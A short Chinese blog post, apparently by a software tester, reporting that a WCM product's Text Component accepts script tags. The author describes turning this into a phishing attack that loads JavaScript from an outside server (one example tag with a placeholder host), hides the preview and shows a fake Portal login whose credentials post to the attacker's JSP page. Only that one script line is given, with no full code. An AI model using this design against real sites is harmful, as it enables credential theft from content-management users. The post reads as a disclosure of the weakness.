WCM中的Component對JS腳本的支持也給自己帶來了危險。

在測試過程中發現了一個問題,在Text Component中允許添加javascript代碼段。感覺這是一個漏洞所在,自己試了試,居然可以填寫跨域請求JS腳本的JS聲明,例如<script language=javascript src=http://xxx.yyy.zzz/dd.js />於是利用這個特性編寫一個攻擊程序。
程序大體是這樣的:將一段javascript代碼放在服務器A,並且在服務器A運行一段JSP代碼。編寫一個Content和Presentation Template(簡稱PT),在PT引用事先寫好的Text Component。當點擊預覽的時候,放在A服務器的代碼被下載的本地中並且順利運行,該JS的主要內容是1、將真正的要預覽的內容隱藏起來。2、顯示一個登錄界面。(這點是利用了WCM本身一個問題,因爲有的時候在預覽內容的時候,可能被踢出系統,要求重新登錄)。3、該登錄界面是一個釣魚程序,表面上是Portal的登錄界面,實際上表單提交的內容是傳給了服務器A的JSP中。4、JSP處理完畢後,發送一個sendRedirect請求。5、在頁面提交前,往cookie中添加標記表示已經crack過了,JS通過判斷document.cookie中的內容,來決定是顯示crack的登錄界面還是顯示真正的預覽頁面。
該漏洞是一個小的安全問題。首先可以這麼做的用戶是一小部分人。但是這個安全問題又確實是個問題,這種crack的隱蔽性比較高,不容易被發現。
在編寫crack程序中,主要遇到的問題是javascript編寫和調試,感覺非常低效,另外是關於Ajax的問題,以爲是個簡單的問題,但是還是遇到了不少困難,第一、怎樣模仿form的提交。可能是因爲我的表是js動態生成的, onsubmit事件無法完全控制表格的提交。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章